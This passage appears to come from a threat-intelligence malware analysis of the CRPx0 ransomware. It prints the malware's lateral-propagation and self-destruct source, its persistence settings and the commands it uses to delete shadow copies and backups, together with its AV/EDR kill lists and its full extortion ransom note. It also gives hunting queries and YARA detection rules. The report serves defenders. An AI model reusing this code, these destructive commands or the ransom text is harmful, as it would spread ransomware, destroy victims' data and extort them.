               f'"cmd.exe /c C:\\Windows\\Temp\\{payload_name} bootstrap_done"')

    # 5. Scheduled task propagation (fallback if WMI fails)
    run_hidden(f'schtasks /create /s {target} /ru "SYSTEM" '
               f'/tn "OneDrive Maintenance" /tr "..." /sc once /st 00:00 /f')
    run_hidden(f'schtasks /run /s {target} /tn "OneDrive Maintenance"')

    # 6. GPO SYSVOL fallback (if domain joined, no hosts infected)
    if domain and infected_count == 0:
        sysvol = f'{SYSTEMROOT}\\SYSVOL\\sysvol\\{domain}\\scripts'
        with open(os.path.join(sysvol, 'startup.bat'), 'w') as f:
            f.write(f'start /min "" "{payload_path}" parent_id {device_id}')

    # macOS/Linux: SSH propagation via known_hosts
    for target in ssh_targets:
        if socket.connect_ex((target, 22)) != 0: continue
        subprocess.call(f'scp ... {payload_path} {target}:/tmp/{payload_name}'.split())
        subprocess.Popen(f'ssh ... {target} python3 /tmp/{payload_name} bootstrap_done'.split())

Phase 12: Self-Destruct - self_destruct() (line 1000)

The ransomware uses VBScript on Windows (bypassing AMSI, which monitors PowerShell but not cscript.exe) and a shell script on macOS/Linux. Both are launched as detached child processes with a 3-second delay, allowing the Python process to exit before the cleanup begins. The overwrite-before-delete pattern defeats simple file-recovery tools - the original bytes are gone from disk, not just unlinked.

Windows: VBS self-destruct (%TEMP%\upd_<hex8>.vbs)

The Python self_destruct() function builds this VBS script dynamically, targeting the payload path and its parent directory (if it's a staging directory like Cache_Sys or Temp). It then launches it hidden via cscript.exe //NoLogo //B with CREATE_NO_WINDOW (0x08000000).

VBS self-destruct template
WScript.Sleep 3000
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FolderExists("<payload_dir>") Then
  For Each f In fso.GetFolder("<payload_dir>").Files
    Set tf = fso.OpenTextFile(f.Path, 2)
    tf.Write " "
    tf.Close
  Next
  fso.DeleteFolder "<payload_dir>", True
ElseIf fso.FileExists("<payload_path>") Then
  Set tf = fso.OpenTextFile("<payload_path>", 2)
  tf.Write " "
  tf.Close
  fso.DeleteFile "<payload_path>", True
End If
Set fs2 = CreateObject("Scripting.FileSystemObject")
fs2.DeleteFile "<vbs_script_path>", True

Step-by-step:

  1. Sleep 3000 - waits 3 seconds for the Python process to exit
  2. On Error Resume Next - suppresses all errors so partial cleanup still proceeds
  3. Overwrite loop - opens every file in the payload directory for writing (OpenTextFile mode 2 = ForWriting), writes a single space character, truncating the original content to 1 byte
  4. DeleteFolder - recursively deletes the entire directory (files are already overwritten)
  5. Self-delete - creates a second FSO instance and deletes the VBS script itself

macOS/Linux: Shell self-destruct (/tmp/sd_<hex8>.sh)

Shell self-destruct template
#!/bin/sh
sleep 3
cat /dev/null > "<payload_path>" 2>/dev/null; rm -rf "<payload_path>" 2>/dev/null
cat /dev/null > "<staging_dir>" 2>/dev/null; rm -rf "<staging_dir>" 2>/dev/null
rm -f "/tmp/sd_<hex8>.sh"

Same logic: zero the file (cat /dev/null >), then rm -rf the path, then delete the shell script itself. Launched via subprocess.Popen(['/bin/sh', sh_path]) with stdout/stderr redirected to /dev/null.

Source - self_destruct() (lines 1000-1044)
def self_destruct():
    try:
        payload_path = os.path.abspath(sys.argv[0])
        base_dir = os.path.dirname(payload_path)
        paths = {payload_path}
        if 'Cache_Sys' in base_dir or 'Temp' in base_dir:
            paths.add(base_dir)
        if os.name == 'nt':
            vbs_path = os.path.join(
                os.environ.get('TEMP', 'C:\\Windows\\Temp'),
                f'upd_{uuid.uuid4().hex[:8]}.vbs'
            )
            with open(vbs_path, 'w') as f:
                f.write('WScript.Sleep 3000\n')
                f.write('On Error Resume Next\n')
                f.write('Set fso = CreateObject("Scripting.FileSystemObject")\n')
                for p in paths:
                    p_esc = p.replace('\\', '\\\\')
                    f.write(f'If fso.FolderExists("{p_esc}") Then\n')
                    f.write(f'  For Each f In fso.GetFolder("{p_esc}").Files\n')
                    f.write(f'    Set tf = fso.OpenTextFile(f.Path, 2)\n')
                    f.write(f'    tf.Write " "\n    tf.Close\n  Next\n')
                    f.write(f'  fso.DeleteFolder "{p_esc}", True\n')
                    f.write(f'ElseIf fso.FileExists("{p_esc}") Then\n')
                    f.write(f'  Set tf = fso.OpenTextFile("{p_esc}", 2)\n')
                    f.write(f'  tf.Write " "\n  tf.Close\n')
                    f.write(f'  fso.DeleteFile "{p_esc}", True\nEnd If\n')
                f.write(f'Set fs2 = CreateObject("Scripting.FileSystemObject")\n')
                f.write(f'fs2.DeleteFile "{vbs_path}", True\n')
            si = subprocess.STARTUPINFO()
            si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            si.wShowWindow = subprocess.SW_HIDE
            subprocess.Popen(
                ['cscript.exe', '//NoLogo', '//B', vbs_path],
                startupinfo=si, creationflags=0x08000000
            )
        elif platform.system() == 'Darwin' or os.name == 'posix':
            sh_path = os.path.join('/tmp', f'sd_{uuid.uuid4().hex[:8]}.sh')
            rm_cmds = '\n'.join(
                f'cat /dev/null > "{p}" 2>/dev/null; rm -rf "{p}" 2>/dev/null'
                for p in paths
            )
            with open(sh_path, 'w') as f:
                f.write('#!/bin/sh\nsleep 3\n' + rm_cmds + f'\nrm -f "{sh_path}"\n')
            os.chmod(sh_path, 0o755)
            subprocess.Popen(
                ['/bin/sh', sh_path],
                stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
            )
    except: pass

Persistence Mechanisms

Windows:

  • Scheduled task: "OneDrive Sync Maintenance" via schtasks /create /f /sc onlogon
  • Registry (UAC bypass): HKCU\Software\Classes\ms-settings\shell\open<random>\command
  • Mutex: Global\sys_lock_180d1d15_OP_1785331224 - affiliate 1 build; the durable pattern is Global\sys_lock_<hex8>_OP_<10 digits>

macOS:

  • LaunchAgent: ~/Library/LaunchAgents/com.apple.sync.plist

Lateral propagation task:

  • "OneDrive Maintenance" via schtasks /create /s <target> /ru "SYSTEM"

Backup Destruction

OSCommand
Windowsvssadmin delete shadows /all /quiet
Windowswmic shadowcopy delete /nointeractive
Windowswbadmin delete catalog -quiet
macOStmutil thinlocalsnapshots / 1000000000000 4
Linuxtimeshift --delete-all

File Encryption

  • Algorithm: AES-128-CBC via Fernet (from cryptography library)
  • Key wrapping: RSA-4096 OAEP (SHA-256) - per-victim AES key encrypted with embedded public key
  • File format: [4-byte LE RSA blob length][RSA-4096 blob][8-byte LE ciphertext length][Fernet token][unencrypted tail]
  • Coverage: only the first 1 MB of each file is encrypted; the remainder is written back in cleartext
  • Extension: .crpx0 appended to original filename
  • Threading: ThreadPoolExecutor for parallel encryption

Targeted File Extensions (by category)

CategoryExtensions
Documents.doc .docx .xls .xlsx .ppt .pptx .pdf .txt .rtf .md .tex .wpd .odt .ods .odp .odg .pages .numbers .csv .epub .mobi
Media/Images.jpg .jpeg .png .gif .bmp .tiff .webp .svg .psd .ai .xcf .raw .cr2 .cr3 .nef .arw .dng .orf .rw2 .heic .heif .mp3 .wav .aac .flac .ogg .wma .m4a .mp4 .mkv .mov .avi .wmv .flv .webm .3gp .ts .m4v
Databases/Archives.sql .mdb .accdb .db .sqlite .sqlite3 .dbf .dat .bak .dump .zip .rar .7z .tar .gz .bz2 .xz .tgz
Email/Comm.pst .ost .eml .msg .mbox .vcf .ics
Developer/Code.php .js .ts .jsx .tsx .html .css .asp .vue .c .cpp .h .java .py .rb .go .rs .sh .bat .ps1 .json .yaml .yml .xml .env .ini .toml .key .csr .pem .pfx .p12 .cer .crt .id_rsa .id_ed25519
Engineering/Design.dwg .dxf .stp .step .iges .igs .sldprt .sldasm .slddrw .u3d .obj .mtl .fbx .stl .blend .3ds .skp .f3d .3dm .max .ma .mb
Financial/Crypto.wallet .qfx .ofx .qif .qbw .qbb

Excluded Directories

OSExcluded Paths
WindowsWindows, Program Files, Program Files (x86), $Recycle.Bin, System Volume Information, ProgramData, Boot, AppData\Local\Temp, AppData\Local\Programs\Python, venv, node_modules, pycache, .git
macOS/System, /Library, /Applications, /private, /dev, /usr, /bin, /sbin, /var, /opt, /Volumes, ~/Library/Caches, ~/Library/Logs, ~/.Trash
Linux/proc, /sys, /dev, /run, /tmp, /var/lib, /var/cache, /usr, /bin, /sbin, /lib, /etc, /boot

AV/EDR Kill Lists

Process kill list
MsMpEng.exe, NisSrv.exe, SecurityHealthSystray.exe, Sense.exe, MsSense.exe,
AvastSvc.exe, AvastUI.exe, AVGSvc.exe, AVGUI.exe,
avp.exe, kavfs.exe, kes.exe,
ekrn.exe, egui.exe, eamonm.exe, eProxy.exe,
ccSvcHst.exe, NortonSecurity.exe, SymCorpUI.exe, rtvscan.exe,
McAfeeAP.exe, mfevtps.exe, mcshield.exe, masvc.exe, mfeann.exe,
bdagent.exe, bdsvc.exe, bdredline.exe,
SophosUI.exe, SophosFS.exe, SavService.exe, swi_service.exe, ...
Service kill list
WinDefend, Sense, WdNisSvc, SecurityHealthService, wscsvc, MpsSvc,
avast! Antivirus, AVG Antivirus, avast! Firewall,
AVP, KAVFS, KES,
ekrn, eamon, eProxy,
Symantec AntiVirus, Norton Security, ccEvtMgr, ccSetMgr, rtvscan,
McAfee McShield, McAfeeFramework, McAfeeEngineService, McAfeeAP,
bdagent, BitDefender_ScanServer, BitDefender_UpdateServer,
Sophos Anti-Virus, SavService, SophosClean, SophosConsole, swi_service, ...

Ransom Note

Text version: HOW TO RECOVER.txt - dropped in every encrypted directory

HTML version: HOW TO RECOVER.html - styled dark-theme page with live 48-hour countdown timer, opened in browser on Desktop after encryption completes

Ransom note in HTML format

Ransom note in HTML format

Key claims:

  • "Military-grade encryption (AES-256 + RSA-2048)" [note: both figures are false - the implementation is AES-128-CBC via Fernet, with RSA-4096 OAEP key wrapping]
  • Data exfiltration + double extortion threat
  • 50% discount if contacted within 24 hours
  • 48-hour deadline before leak site publication
  • Payment: Bitcoin / Monero
  • Free decryption of 3-5 test files offered as proof

Note also a 48 hour window for negotiation:

image.png

image.png

Full ransom note text - HOW TO RECOVER.txt
================================================================================
                         CRPx0 — YOUR FILES HAVE BEEN ENCRYPTED   
================================================================================

All your documents, databases, backups, images, and other important files
have been secured using military-grade encryption (AES-256 + RSA-2048).

BEFORE ENCRYPTION, A COPY OF YOUR DATA WAS DOWNLOADED TO OUR SECURE SERVERS 

Do not panic! Your data is safe but inaccessible at the moment.

================================================================================
                         HOW TO RECOVER YOUR FILES
================================================================================

We offer a structured resolution timeline to resolve this matter privately.

- If you contact us within the first 24 hours, you will receive a 50% discount.
- If you contact us between 24 and 48 hours, the full price applies.
- After 48 hours, your data will be permanently published on our leak site
  and made available for sale to your competitors and the public.

We already have a copy of all your sensitive data. Pay to keep it private.

Your window to act is limited. Contact us immediately.

================================================================================
                         YOUR UNIQUE RECOVERY ID
================================================================================

                         RECOVERY ID: {opid}

================================================================================
                         VERIFY YOUR LEAK STATUS
================================================================================

Your data is listed on our public leak site:
{LEAK_URL}

Alternatively, access our site via Tor (for anonymous access):
{TOR_LINK}

To access the Tor link, download Tor Browser from: https://www.torproject.org

On your case page, you will find attached proof files that confirm we have
exfiltrated your data. These are real files from your system.

================================================================================
                         FREE DECRYPTION AS PROOF
================================================================================

To prove we have a working decryptor, you may send us 3-5 small files
(non-archived, less than 4MB total) of your choice.

These files should NOT contain sensitive information. We will decrypt them
and send them back to you at no charge.

This proves that we have a working decryption tool and that we can restore
all your files once payment is made.

Contact us using the methods below and we will provide instructions.

================================================================================
                         CONTACT US IMMEDIATELY
================================================================================

You must contact us using ONE of the secure channels below.
Include your RECOVERY ID in your first message.

================================================================================
    METHOD 1 — Secure Negotiation Room (Recommended)
================================================================================

We have set up a secure negotiation room on the darknet for you to resolve
this matter privately and confidentially.

1. Download Tor Browser: https://www.torproject.org
2. Install and open Tor Browser
3. Visit our negotiation room:

   {NEGO_URL}

4. Enter your RECOVERY ID: {opid}
5. Follow the instructions to begin secure negotiation.

This channel is fully encrypted and anonymous. No logs are kept.

================================================================================
    METHOD 2 — qTox (Encrypted Chat)
================================================================================

1. Download qTox: https://qtox.github.io
2. Install and open qTox
3. Add our Tox ID as a friend:

   Tox ID: {TOX_ID}

4. Send your RECOVERY ID: {opid}
5. Wait for instructions to pay and receive your decryption tool.

================================================================================
    METHOD 3 — Session (Private Messenger)
================================================================================

1. Download Session: https://getsession.org
2. Install and open Session
3. Start a new conversation with our Session ID:

   Session ID: {SESSION_ID}

4. Send your RECOVERY ID: {opid}
5. Follow the payment instructions you receive.

================================================================================
                               WARNING   
================================================================================

- Do NOT attempt to decrypt files yourself — permanent data loss will occur.
- Do NOT rename or modify encrypted files — they will become unrecoverable.
- Do NOT contact law enforcement or data recovery services — they cannot help,
   and your data will be leaked immediately.

- Only we can provide the decryption key.
- Only we can prevent your data from being published.

We are a business. You are a business. We are offering a commercial solution
to a technical problem. We are only interested in a resolution that benefits
both parties.

================================================================================
                         WHAT HAPPENS NEXT
================================================================================

1. Contact us via the Secure Negotiation Room, qTox, or Session with your
   RECOVERY ID.
2. You will receive payment instructions (Bitcoin / Monero).
3. After payment confirmation, you will receive your decryption tool.
4. We will delete your stolen data from our servers and provide proof.
5. Run the decryption tool to restore all your files.

================================================================================
                         FINAL WARNING
================================================================================

TIME REMAINING: 48 HOURS

After 48 hours:
- Your data will be published on our leak site ({LEAK_URL})
  Tor link: {TOR_LINK}
- Your data will be offered for sale to your competitors, data brokers,
  and on dark web markets
- Your patients, clients, and business partners will be notified
- Your reputation will face permanent and irreversible damage

This is your ONLY chance to keep your data private and secure your business.

Contact us NOW.

================================================================================

The template variables ({opid}, {LEAK_URL}, {TOR_LINK}, {NEGO_URL}, {TOX_ID}, {SESSION_ID}) are populated at runtime from XOR-decoded config constants. For this build: {opid} = OP_1785331224, {NEGO_URL} = the Tor negotiation portal, {TOX_ID} and {SESSION_ID} = the communication identifiers listed in the C2 Infrastructure table above.

Analyst Notes - Weakness in Adversary Infrastructure

While pivoting from the payload-download endpoint, modifying the file parameter revealed a path-traversal vulnerability. Exploitation exposed files containing login details for terminal access to the CRPx0 C2 infrastructure.

Analyst notes screenshot showing weakness in adversary infrastructure.

Analyst notes screenshot showing weakness in adversary infrastructure.

This is the highest-value finding in the report and the most perishable - the relay is a single clearnet host the operator can rotate at any time. It is also the most sensitive: the access it implies goes well beyond passive collection. Any action taken on it should be coordinated with law enforcement in advance rather than exercised unilaterally.

Detection & Hunting Queries

Network-Based

  • Traffic to 207.180.29.236:8080
  • HTTP POST to /relay.php or /api.php
  • HTTP header Authorization: Bearer crpx0_c2_2026
  • HTTP header X-OP-ID containing OP_
  • HTTP header X-Status with values: scanned, encrypted, extfilt, propagation_started
  • HTTP header X-Captcha-Track: 1
  • DNS resolution for crpx0.su
  • Multipart uploads with boundary containing CrpxBoundary
  • TOR traffic / SOCKS proxy connections
  • HTTP User-Agent curl/7.64.1 to ip-api.com or ipinfo.io

Endpoint-Based (YARA / Sigma / EDR)

  • Registry write to HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU whose value contains powershell, curl, -enc, -w h or a long base64 string - the highest-fidelity ClickFix indicator available, and the only endpoint signal that fires before any payload executes
  • PE imphash 8021f32be9faef6137ea9d442ebe0059 on a small MinGW DLL that also exports g_data, g_k1, g_k2, g_ko1, g_ko2 and g_len
  • Any PE32 file - DLL or EXE - with a very small .text section against a .data section of roughly 3.87 MB at entropy above 7.9. Observed .text sizes are 6,144 bytes in the standalone DLL and 7,168 in the EXE, so hunt under 8 KB for a tight match; the YARA implementation uses a looser 16 KB ceiling to survive rebuilds. This one signature covers the Stage 2 stager and both standalone builder formats, and it needs no exports, strings or hashes
  • Internal PE names matching affiliate_<id>sys_<hex8>.dll, sys_<hex8>.dll, sys_<hex8>.exe or payloadssys_<hex8>.dll
  • A GUI-subsystem PE32 executable in a user-writable path spawning tar.exe and then python.exe from %TEMP% - the standalone EXE path, which leaves no rundll32 and no RunMRU trace
  • File extension .crpx0
  • File creation: HOW TO RECOVER.txt OR HOW TO RECOVER.html
  • Scheduled task: OneDrive Sync Maintenance or OneDrive Maintenance
  • Mutex creation: Global\sys_lock_<hex8>_OP_<10 digits> (affiliate 1: sys_lock_180d1d15_OP_1785331224)
  • File creation: crpx0_debug.log
  • Process chain: rundll32.exe loading WindowsUpdate.log (invoked by ordinal - ExecuteStager is exported by Stage 3 data.dll, not by the stager)
  • Process chain: python.exe / pythonw.exe spawning vssadmin.exe + wmic.exe
  • Registry write: HKCU\Software\Classes\ms-settings\shell\open*\command (fodhelper UAC bypass)
  • Process: fodhelper.exe with child python.exe
  • File download: python-3.10.11-embed-*.zip from python.org followed by get-pip.py
  • pip install of cryptography followed by mass file encryption
  • nltest /dclist: + net view /domain: (domain reconnaissance)
  • wmic /node:* process call create (lateral movement)
  • VBS file creation in %TEMP% containing DeleteFolder and Scripting.FileSystemObject
  • Wallpaper change via SystemParametersInfoW from Python process

YARA Rules

The bullets above are hunting logic; the rules below are the deployable subset of it. They are written against structure - export names, packing format, encrypted-file layout, obfuscation keys - rather than the Appendix A hashes, which each build's own kill switch retires on expiry. Eleven rules covering every stage of the chain and all four builder output formats - ten written one per artefact class, plus the contributed CRPx0_ClickFix_Builder, which re-covers Stage 1 and overlaps the two lure rules by design.

RuleTarget artefactSurvives a rebuild?
CRPx0_ClickFix_HTML_Smuggling_Wrapperclickfix.html, captcha_obf.html - outer wrapperYes - matches the smuggling structure, not the payload
CRPx0_ClickFix_Decoded_Luredecoded_page.html, captcha_decoded.htmlYes - function names and telemetry keys are shared by both variants
CRPx0_ClickFix_BuilderStage 1 lure pages - contributed rule, overlaps both rules abovePartly - the function names and telemetry keys survive; the relay IP, crpx0_c2_2026 and the 9407d9e0 build ID rotate
CRPx0_Stager_DLLStage 2 - embedded_payload.dll, captcha_payload.dllYes - the six exported crypto globals are the builder's fingerprint; only their values change per build
CRPx0_Loader_DLLStage 3 - data.dllPartly - ExecuteStager and the spoofed version info survive; XOR keys 0x52 / 0xE0 may not
CRPx0_Standalone_Loader_PEStandalone builder formats - sys_<hex8>.dll and sys_<hex8>.exeYes - matches section geometry and the export set, with no sample strings at all
CRPx0_Python_Loader_Packedbootstrap_script.py (Windows), sys_core_*.bin (macOS)Yes - targets the base64+zlib packing format, not its contents
CRPx0_Ransomware_PythonStage 4 - sys_service.pyYes - phase function names are structural, not builder-generated
CRPx0_Encrypted_File_Header*.crpx0 and any renamed copiesYes - pure file-format match, no sample strings at all
CRPx0_Ransom_NoteHOW TO RECOVER.txt / .htmlPartly - banner and body text survive; Tox/Session IDs and onions rotate
CRPx0_macOS_DropperBash dropper and the pasted Terminal one-linerPartly - relay IP and build ID rotate; the portable-Python fetch pattern does not
Full ruleset - crpx0.yar
/*
    CRPx0 / CRPx0 ClickFix ransomware — file-based detection ruleset
    Ransom-ISAC Research Team, 11 August 2026

    Built from static analysis only. No sample was executed.
    FP-test against a goodware corpus before production deployment.
*/

import "math"
import "pe"

/* ----------------------------------------------------------------
   Stage 1 — ClickFix lure pages
   ---------------------------------------------------------------- */

rule CRPx0_ClickFix_HTML_Smuggling_Wrapper
{
    meta:
        description = "CRPx0 ClickFix outer wrapper — multi-MB base64 HTML smuggling page"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-11"
        reference   = "CRPx0 ClickFix Ransomware Analysis"
        hash_[REDACTED]   = "ad1b8bdfb562ede7017003679185c07b6f746778ee7ed179c54e3c35bc0c4ccb"
        hash_[REDACTED]  = "e6ce4b7c40d38a246c0dcc88c4f005fe28e3b5a8da603116881f7c5356771c70"
    strings:
        $smug  = "document.write(atob(" ascii
        $title = "<title>Loading...</title>" ascii nocase
        // base64 of "<!DOCTYPE html>" — the smuggled document header
        $doc   = /atob\("PCFET0NUWVBFIGh0bWw[A-Za-z0-9+\/=]{200}/ ascii
    condition:
        filesize > 4MB and filesize < 16MB
        and $smug
        and ($title or $doc)
}

rule CRPx0_ClickFix_Decoded_Lure
{
    meta:
        description = "CRPx0 decoded lure page — Windows Update (aff 1) and reCAPTCHA (aff 20) variants"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-11"
        hash_[REDACTED]   = "3363e3af60b1e25f8cdc70206f1d7b89e28bb72a7dd43f4460f3ee07d7508f80"
        hash_[REDACTED]  = "7bfc7148c9eb8a3bcc6472e56e7d5be901462873d793323c69067d6dbfa2f79a"
    strings:
        $hdr   = "X-Captcha-Track" ascii
        $relay = "relay.php" ascii
        $op1   = "WINUPDATE_TRACK" ascii
        $op2   = "CAPTCHA_WEB" ascii
        $fn1   = "getHelloWorldMessage" ascii
        $fn2   = "silentCopyHelloWorld" ascii
        $fn3   = "silentCopy" ascii
        $fn4   = "renderMacSteps" ascii
        $fn5   = "renderWindowsSteps" ascii
        $ps    = "powershell -w h -enc" ascii
        $mac   = "indygreg/python-build-standalone" ascii
        $core  = "sys_core_" ascii
        $pd    = "__pd" ascii
        $dp    = "__dp(" ascii
    condition:
        filesize > 1MB and filesize < 16MB
        and $hdr and $relay
        and 3 of ($op*, $fn*, $ps, $mac, $core, $pd, $dp)
}

rule CRPx0_ClickFix_Builder
{
    meta:
        description = "CRPx0 ClickFix social engineering page"
        author      = "analyst"
        date        = "2026-08-13"
        reference   = "CRPx0 ClickFix Ransomware Analysis — contributed rule"
        note        = "Added as received. Deliberately redundant with CRPx0_ClickFix_HTML_Smuggling_Wrapper and CRPx0_ClickFix_Decoded_Lure — it re-covers Stage 1 with a looser condition. Keep all three or retire this one."
        caveat      = "Not corroborated by the recovered samples: winupdate_obf, 0x800F081F, __fired, and the exact spacing of var __pd= (the samples declare __pd, but the declaration form was not recorded). $b4 (9407d9e0) is the affiliate [REDACTED] bash-dropper build ID and rotates per build; the reCAPTCHA lure uses f6037e11. No filesize bound, so this scans every file in scope. The $c* + $b* branch cannot fire on an outer wrapper, where the $b* strings are still inside the base64 blob — it only matches decoded pages."
    strings:
        $a1 = "getHelloWorldMessage" ascii
        $a2 = "silentCopy" ascii
        $a3 = "WINUPDATE_TRACK" ascii
        $a4 = "clickfix_started" ascii
        $a5 = "X-Captcha-Track" ascii
        $a6 = "winupdate_obf" ascii
        $a7 = "0x800F081F" ascii
        $a8 = "affiliate_id" ascii
        $b1 = "207.180.29.236" ascii
        $b2 = "relay.php" ascii
        $b3 = "crpx0_c2_2026" ascii
        $b4 = "9407d9e0" ascii
        $c1 = "document.write(atob(" ascii
        $c2 = "var __pd=" ascii
        $c3 = "__fired" ascii
    condition:
        3 of ($a*) or (2 of ($a*) and 1 of ($b*)) or (1 of ($c*) and 1 of ($b*))
}

/* ----------------------------------------------------------------
   Stage 2 — stager DLL (encrypted container)
   ---------------------------------------------------------------- */

rule CRPx0_Stager_DLL
{
    meta:
        description = "CRPx0 Stage 2 stager — XOR+ROL+NOT container that drops data.dll"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-11"
        hash_[REDACTED]   = "85b79bbc907b8c0eeacc5da5ac35d7387c69faeb2f7822b3e2dca94f80ed0851"
        hash_[REDACTED]  = "a190c6075a60b528ec4185e5d4d81ac4d039e5d357ab33e2384ae21b02e29ad4"
        note        = "Exported crypto globals are the builder fingerprint; their values differ per build"
    strings:
        $name = /payloadssys_[0-9a-f]{8}\.dll/ ascii
    condition:
        uint16(0) == 0x5A4D and pe.is_dll()
        and (
            (
                pe.exports("g_data") and pe.exports("g_len") and
                pe.exports("g_k1")   and pe.exports("g_k2")  and
                pe.exports("g_ko1")  and pe.exports("g_ko2")
            )
            or
            ($name and pe.imphash() == "8021f32be9faef6137ea9d442ebe0059")
        )
}

/* ----------------------------------------------------------------
   Stage 3 — Python loader DLL
   ---------------------------------------------------------------- */

rule CRPx0_Loader_DLL
{
    meta:
        description = "CRPx0 Stage 3 loader (data.dll) — builds a Python runtime and launches the payload"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-11"
        hash        = "53983a29efdc724bf6ae68c9e11bb165945571b079a3c85f213c60bdc4bd2af3"
    strings:
        $exp  = "ExecuteStager" ascii
        $name = /sys_[0-9a-f]{8}\.dll/ ascii
        // .rsrc version info — three different vendors in one resource
        $v1 = "Oracle Corporation" wide
        $v2 = "Microsoft C++ Runtime Library" wide
        $v3 = "Management Engine" wide
        // staging directory names, stored XOR 0x52 encoded in .data
        $x1 = "Low_Graphics_Cache"  xor(0x52)
        $x2 = "Sys_Diagnostics"     xor(0x52)
        $x3 = "Windows_Driver_Host" xor(0x52)
        $x4 = "Update_Temp_Store"   xor(0x52)
        $x5 = "Cache_Sys"           xor(0x52)
        // Python bootstrap header at .data offset 0x260, XOR 0xE0
        $boot = "import sys, os" xor(0xe0)
    condition:
        uint16(0) == 0x5A4D and pe.is_dll()
        and $exp
        and (2 of ($x*) or $boot or all of ($v*) or $name)
}

/* ----------------------------------------------------------------
   Alternate builder formats — standalone all-in-one DLL and EXE
   ---------------------------------------------------------------- */

rule CRPx0_Standalone_Loader_PE
{
    meta:
        description = "CRPx0 standalone builder output — Stage 2 stager and Stage 3 loader merged into one PE, no ClickFix delivery"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-12"
        reference   = "CRPx0 ClickFix Ransomware Analysis — Alternate Delivery Formats"
        hash_dll    = "bee987e441c5b1e49eefed56b04adbee72a6fcb4ddde6bcf4d4abb3bfbc4661c"
        hash_exe    = "32d741ce1461d1e310452ef29ec7906326970af07f9139ea9260abb2df6f0ae5"
        note        = "Geometry match — tiny .text against a ~3.87 MB .data section above entropy 7.9. Overlaps CRPx0_Stager_DLL by design; what it adds is the EXE variant, which has no exports and no version resource to match on. Neither standalone build carries .rsrc, so CRPx0_Loader_DLL will not fire on them. The .text ceiling is 16 KB rather than the 8 KB actually observed (6,144 bytes in the DLL, 7,168 in the EXE), widened on purpose so a slightly larger rebuild still matches."
    strings:
        $n1 = /affiliate_[0-9]{1,4}sys_[0-9a-f]{8}\.dll/ ascii
        $n2 = /sys_[0-9a-f]{8}\.(dll|exe)/ ascii
    condition:
        uint16(0) == 0x5A4D
        and filesize > 3MB and filesize < 8MB
        and for any i in (0 .. pe.number_of_sections — 1) : (
            pe.sections[i].name == ".data"
            and pe.sections[i].raw_data_size > 3500000
            and math.entropy(pe.sections[i].raw_data_offset,
                             pe.sections[i].raw_data_size) > 7.9
        )
        and for any j in (0 .. pe.number_of_sections — 1) : (
            pe.sections[j].name == ".text"
            and pe.sections[j].raw_data_size < 16384
        )
        and (
            (
                pe.exports("g_data") and pe.exports("g_len") and
                pe.exports("g_k1")   and pe.exports("g_k2")  and
                pe.exports("g_ko1")  and pe.exports("g_ko2")
            )
            or any of ($n*)
        )
}

/* ----------------------------------------------------------------
   Packed Python loader — both delivery paths converge here
   ---------------------------------------------------------------- */

rule CRPx0_Python_Loader_Packed
{
    meta:
        description = "CRPx0 packed Python loader — bootstrap_script.py (Windows) and sys_core_*.bin (macOS)"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-11"
        hash_win    = "8e7027367756ed9cee15529fd39c839f3773e0930fe8207b9a8654625128dd60"
        hash_mac    = "2d3dfec60201dcc8d0b08abefa8d43efe5f62c33110f036560baa6f1bf24ea8a"
        note        = "Import names are hidden with chr() construction, so base64+zlib layout is the anchor"
    strings:
        // multi-MB base64 string whose first bytes decode to the zlib header 0x78 0xDA
        $z   = /["']eNr[A-Za-z0-9+\/]{500}/ ascii
        $e1  = "exec" ascii
        $e2  = "compile" ascii
        $c   = "chr(" ascii
        $env = "CRPx0_LOADER" ascii
    condition:
        filesize > 1MB and filesize < 8MB
        and $z and $e1 and $e2
        and ($c or $env)
}

/* ----------------------------------------------------------------
   Stage 4 — the ransomware itself
   ---------------------------------------------------------------- */

rule CRPx0_Ransomware_Python
{
    meta:
        description = "CRPx0 Stage 4 ransomware — sys_service.py, cross-platform"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-11"
        hash        = "dc36944e733c1c70145681551b32ea95e17770a490e83d61ca525807e6d1fc51"
        note        = "C2 URLs and the auth token are XOR integer arrays in source, so do not match on them here"
    strings:
        $f1 = "stage1_5_collect_samples" ascii
        $f2 = "domain_encrypt_network" ascii
        $f3 = "ensure_single_instance" ascii
        $f4 = "check_hardware_breakpoints" ascii
        $f5 = "api_hammering" ascii
        $f6 = "unhook_ntdll" ascii
        $f7 = "stage2_encrypt" ascii
        $f8 = "kill_av_edr" ascii
        $c1 = "ENCRYPTED_XOR_KEY" ascii
        $c2 = "SELF_EXCLUDE_TAG" ascii
        $c3 = "AMSI_PATCH_KEY" ascii
        $c4 = "ETW_PATCH_KEY" ascii
        $c5 = "RECOVERY_FILE_HTML" ascii
        $c6 = "BACKGROUND_B64" ascii
        $a1 = "CrpxBoundary" ascii
        $a2 = "HOW TO RECOVER" ascii
        $a3 = "sys_lock_" ascii
        $a4 = ".crpx0" ascii
    condition:
        filesize > 50KB
        and (
            4 of ($f*)
            or (2 of ($f*) and 2 of ($c*))
            or (3 of ($c*) and 2 of ($a*))
        )
}

/* ----------------------------------------------------------------
   Impact artefacts
   ---------------------------------------------------------------- */

rule CRPx0_Encrypted_File_Header
{
    meta:
        description = "File encrypted by CRPx0 — RSA-4096 wrapped Fernet header"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-11"
        note        = "Layout: [4B LE len=512][RSA-4096 blob][8B LE ciphertext len][Fernet token][cleartext tail]. No sample strings — matches renamed files and any rebuild keeping RSA-4096 + Fernet."
    strings:
        // Fernet tokens are urlsafe-base64 and always begin gAAAAA (version 0x80)
        $fernet = "gAAAAA" ascii
    condition:
        filesize > 600
        and uint32(0) == 512
        and uint32(516) > 0
        and uint32(520) == 0
        and $fernet at 524
}

rule CRPx0_Ransom_Note
{
    meta:
        description = "CRPx0 ransom note — HOW TO RECOVER.txt / .html"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-11"
    strings:
        $b1 = "CRPx0" ascii
        $b2 = "CRPx0" ascii nocase
